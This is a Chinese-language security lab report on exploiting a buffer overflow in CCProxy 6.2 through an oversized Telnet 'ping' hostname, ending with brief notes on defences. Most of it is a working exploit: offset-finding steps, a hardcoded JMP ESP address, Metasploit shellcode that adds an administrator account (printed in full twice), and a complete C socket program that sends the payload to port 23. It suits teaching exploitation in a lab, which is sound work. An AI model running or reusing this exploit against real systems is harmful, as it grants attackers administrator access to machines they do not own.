实验内容:
分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。
定位RET
寻找跳转指令地址
构造shellcode
定位shellcode存放位置
编写攻击程序
实验环境:
攻击主机:
系统环境:windows 7 32bit
攻击程序开发环境:vc++ 6.0
虚拟机:VMware Workstation
目标主机:
系统环境:windows xp sp3 (关闭DEP)
溢出对象:CCProxy6.2
调试工具:CDB
其他工具:ActivePerl
patternCreate.pl
patternOffset.pl
Metasploit
实验设计:
本实验的目标主要是分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去。
主要试验流程如下:
详细过程:
(1)首先,先确定目的主机IP地址以及ccproxy telnet服务的端口。
通过查看,确定目的主机IP地址192.168.220.128,ccproxy telnet使用端口23。
(2)下面分析漏洞:CCProxy在代理Telnet协议时,可以接受Ping命令。Ping命令格式:ping hostname\r\n当hostname的长度大于或者等于1010字节时,CCProxy 6.2会发生缓冲区溢出,导致程序崩溃。
因为windows xp sp3已经有数据缓冲溢出保护机制,所以要进行这个实验需要手动关闭DEP。运行->c:\boot.ini,打开boot文件进行编辑,将指定位置修改为关闭。
我们在目的主机运行ccproxy,然后尝试使用telnet连接ccproxy,验证连通性以及环境配置。
cmd下输入命令行:telnet 192.168.220.128
ping AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
终端提示“Host not found”,说明CCProxy正确地处理了这个畸形数据,仍工作正常。
当ping AAAA……(2000个A)时,
ccproxy崩溃,提示失去了跟主机的连接,这说明缓冲区溢出,导致崩溃。
我们使用CDB调试,查看详细信息:
我们发现,缓冲区溢出时,溢出的内容会将RET原来的内容覆盖(A对应41),这样当函数返回时,RET的值传给EIP寄存器(存放下条指令地址),设想,如果我们精心构造一个字符串,将RET用JMP ESP指令地址覆盖,函数返回时就会转而执行JMP ESP 指令,这时候我们再将ESP里面放入程序代码的shellcode,这样就会执行我们自己编写的程序,这就形成漏洞攻击。
于是,我们首先需要定位RET。
(3)定位RET。我们可以构造一串完全不重复的字符串,ping之后溢出,捕获异常,查看EIP内容,因为字符串不重复,所以EIP内容一定可以对应找到唯一的字符串,这样就可以计算出EIP内容在字符串中的相对偏移量。
我们通过patternCreate.pl生成2000个完全不重复字符串。
然后将生成的字符串ping给目标主机。CDB捕获异常,查看EIP
然后通过patternOffset.pl计算出相对偏移量。
也就是说应该将要覆盖RET对应的字符串放在整个字符串第1012开始的位置。
(4)寻找JMP ESP 指令地址。这里可以选用通用地址:0x7ffa4512。然后在CDB下验证一下是否正确。
(4)构造shellcode。也就是要构造函数返回时要执行的指令。可以通过metasploit来构造,这里构造一个在目标主机添加管理员账户的shellcode:
“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”
“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”
“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”
“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”
“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”
“\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”
“\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”
“\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”
“\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”
“\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”
“\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”
“\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”
“\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”
“\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”
“\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”
“\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”
“\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”
“\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”
“\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”
“\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”
“\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”
“\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”
“\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”
“\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”
“\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”
“\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”
“\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”
“\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”
“\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”
“\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”
“\x41\x44\x46\x44\x46\x44\x42\x30\x5a”
(5)下面需要定位shellcode存放位置。像定位RET一样,ping生成的字符串,CDB捕获异常。不过这里注意,ESP指向的地址处的内容才是shellcode的内容,所以我们需要根据ESP内容来获取它指向的地址里面的内容A,然后定位A在字符串里的相对偏移,就是shellcode应该放置的位置。
(6)构造exploit。按照前面计算得出的相对偏移,将JMP ESP指令和shellcode放置在正确位置。
(7)编写攻击程序。采用C语言Socket编程,实现向目标主机发送ping字符串,完成攻击。
代码如下:
#include
#include
#include
#pragma comment (lib,”ws2_32″)
//创建管理员用户shellcode
char shellcode[] =
“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”
“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”
“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”
“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”
“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54”
“\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57”
“\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38”
“\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48”
“\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c”
“\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e”
“\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58”
“\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44”
“\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58”
“\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43”
“\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47”
“\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a”
“\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b”
“\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43”
“\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37”
“\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49”
“\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56”
“\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46”
“\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36”
“\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36”
“\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44”
“\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52”
“\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56”
“\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56”
“\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57”
“\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52”
“\x41\x44\x46\x44\x46\x44\x42\x30\x5a”;
void main()
{
WSADATA WSAData;
char Buff[2000],Recv[2000];
int nRet,conRet;
struct sockaddr_in ipAddress;
SOCKET sockettest;
if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)
{
printf(“ERROR\n”);
WSACleanup();
exit(1);
}
sockettest= socket(AF_INET,SOCK_STREAM,0);
ipAddress.sin_family = AF_INET;
ipAddress.sin_addr.s_addr = inet_addr(“192.168.220.128”);
ipAddress.sin_port = htons(23);
conRet=connect(sockettest,(struct sockaddr *)&ipAddress,sizeof(ipAddress));
memset(Buff, 0x90, sizeof(Buff)-1); //全部NOP填充
memcpy(&Buff[0],”ping “,5); //设置ping指令
memcpy(&Buff[1998],”\r\n”,2); //设置结尾的\r\n
memcpy(&Buff[1017],”\x12\x45\xfa\x7f”,4); //设置JMP ESP指令地址,定位1012,加上ping为1017
memcpy(&Buff[9],shellcode,sizeof(shellcode)-1); // ping5个,加之后4个NOP
memset(Recv,0x90,sizeof(Recv)); //初始化缓冲区
recv(sockettest,Recv,sizeof(Recv),0);//目的主机存入缓冲区
nRet=send(sockettest,Buff,sizeof(Buff),0);
Sleep(1000);
WSACleanup();
printf(“attack ok !\n”);
}
(8)执行结果。
攻击执行前,系统只有一个管理员账户。
攻击之后,ccproxy崩溃,并且系统增加了一个管理员账户。
实验结论:
通过了一段时间的努力学习与实践运用,终于完成了这一次缓冲区溢出漏洞攻击实验。
在这次试验中通过ccproxy漏洞进行攻击,实现了在目标主机增加一个管理员账户。
实验体会:
通过分析漏洞,也思考了一些漏洞攻击的防范问题。整个防范措施大概有源码级保护方法、运行期保护方法、阻止攻击代码执行、加强系统保护等几种。对于源码保护,可以提高警惕,在编写程序时对于涉及缓冲区的部分进行严格的边界检查,防止溢出。也可以利用漏洞扫描工具对源码中可能存在缓冲区溢出漏洞的代码部分分析,寻找bug并解决。运行期保护主要研究如何在程序运行的过程中发现或阻止缓冲区溢出攻击。比如数组边界检查,检查数组实际长度是否超过了分配的长度,如果超过,立即进行相应的处理。阻止攻击代码执行,可以设定堆栈数据段不可执行,这样就可以避免被攻击。加强系统保护主要是保护系统信息、关闭不需要的服务、最小权限原则、使用系统的堆栈补丁、检查系统漏洞并及时为软件打上安全补丁等。